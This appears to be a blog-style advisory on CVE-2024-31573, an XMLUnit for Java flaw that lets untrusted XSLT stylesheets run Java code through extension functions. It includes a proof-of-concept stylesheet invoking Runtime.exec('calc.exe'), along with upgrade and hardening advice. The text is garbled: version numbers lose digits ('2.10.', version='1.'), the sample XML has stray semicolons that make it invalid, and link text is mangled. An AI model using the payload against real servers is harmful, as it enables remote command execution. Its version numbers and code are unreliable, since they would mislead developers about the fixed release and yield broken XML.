Summary:
In March 2024, a new vulnerability was identified in XMLUnit for Java—CVE-2024-31573. This issue, lurking since the early days of the library and spanning up to version 2.10., lets attackers execute code on your server if your code loads *untrusted* XSLT stylesheets. The problem? Extension functions are enabled by default. Let’s understand what’s happening, see some real code, and learn how to plug this hole in your Java apps.

What is XMLUnit?

XMLUnit is a popular Java library for comparing, testing, and validating XML content. Developers use it extensively for writing unit tests that verify XML output (common in APIs, data processing, and more).

What is CVE-2024-31573?

CVE-2024-31573 is a remote code execution (RCE) flaw in XMLUnit for Java up to (but not including) version 2.10.. The vulnerability exists because XMLUnit, by default, allows XSLT extension functions—special features that let stylesheets run Java code. If your code passes an *untrusted/XSLT* file as input, an attacker can supply a malicious XSLT file that executes any Java method they wish!

Who is affected?

Uses XMLUnit for Java (before 2.10.), and

- Applies XSLT to XML where the stylesheet’s source isn’t fully trusted (e.g., uploaded by users, fetched from unknown/remote locations)

Why Does This Happen?

When XMLUnit runs a transformation with a user-provided XSLT stylesheet, it (by default) enables “extension functions.” These are hooks to Java methods from within the XSLT (see Saxon documentation), fantastic for developers, *but* terrifying in a hostile context.

Here's the key:

// inside XMLUnit
TransformerFactory factory = TransformerFactory.newInstance();
// by default, extension functions are enabled!
Transformer transformer = factory.newTransformer(xsltSource);

Usual XSLT is safe—it only does formatting, calculation, etc. But with extensions, it can call *any* public Java method your classpath exposes.

1. Say you have code like this

String xslt = "..."; // this comes from the user!
Source xsltSource = new StreamSource(new StringReader(xslt));
Source xmlSource = new StreamSource(new File("input.xml"));

TransformerFactory factory = TransformerFactory.newInstance();
Transformer transformer = factory.newTransformer(xsltSource);

StringWriter writer = new StringWriter();
transformer.transform(xmlSource, new StreamResult(writer));

2. An attacker provides an XSLT stylesheet like this

<?xml version="1." encoding="UTF-8"?>
<xsl:stylesheet version="2."
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform";
    xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime";
    exclude-result-prefixes="rt">

  <xsl:template match="/">
    <xsl:value-of select="rt:getRuntime().exec('calc.exe')" />
  </xsl:template>
</xsl:stylesheet>

> On Windows, this would pop up the Calculator app. On Linux, substitute 'touch /tmp/pwned' or any system command.

3. Result:

When your code passes this stylesheet to XMLUnit, it actually runs the code! That means the attacker *fully controls your server.*

Timeline

- March 2024: Vulnerability reported and assigned CVE-2024-31573
- March 19, 2024: Fixed in XMLUnit 2.10.

Upgrade Immediately:

Update to XMLUnit 2.10. or later. This version disables XSLT extension functions by default for untrusted stylesheets.

If you can’t upgrade, lock down TransformerFactory security explicitly

TransformerFactory factory = TransformerFactory.newInstance();

// Block extension functions (Saxon example)
factory.setAttribute("http://saxon.sf.net/feature/allow-external-functions", false);

// Block access to other features as needed

`

*(See also: Apache’s XML Security Guide_Processing))*

Never Trust Untrusted XSLT:

The golden rule: Stylesheets should *never* come from users unless you’re sure the environment is sandboxed. Validate, whitelist, or only allow system-provided transforms.

- CVE-2024-31573 in NVD
- XMLUnit Release 2.10. (fixes this CVE)
- XMLUnit GitHub
- Related OWASP Guidance: XXE_Processing)

Conclusion

CVE-2024-31573 is a classic example of how “powerful defaults” can become *dangerous defaults* when user input is involved. Check your dependencies, sanitize your inputs, and *never* treat untrusted XSLT as harmless.

Staying up to date and secure is essential when dealing with anything that turns user input into code. Don’t leave a backdoor open—patch this bug now!


*This article is original work; please cite the links above for verification and further details.*

Timeline

Published on: 10/17/2025 19:15:36 UTC
Last modified on: 10/21/2025 19:31:50 UTC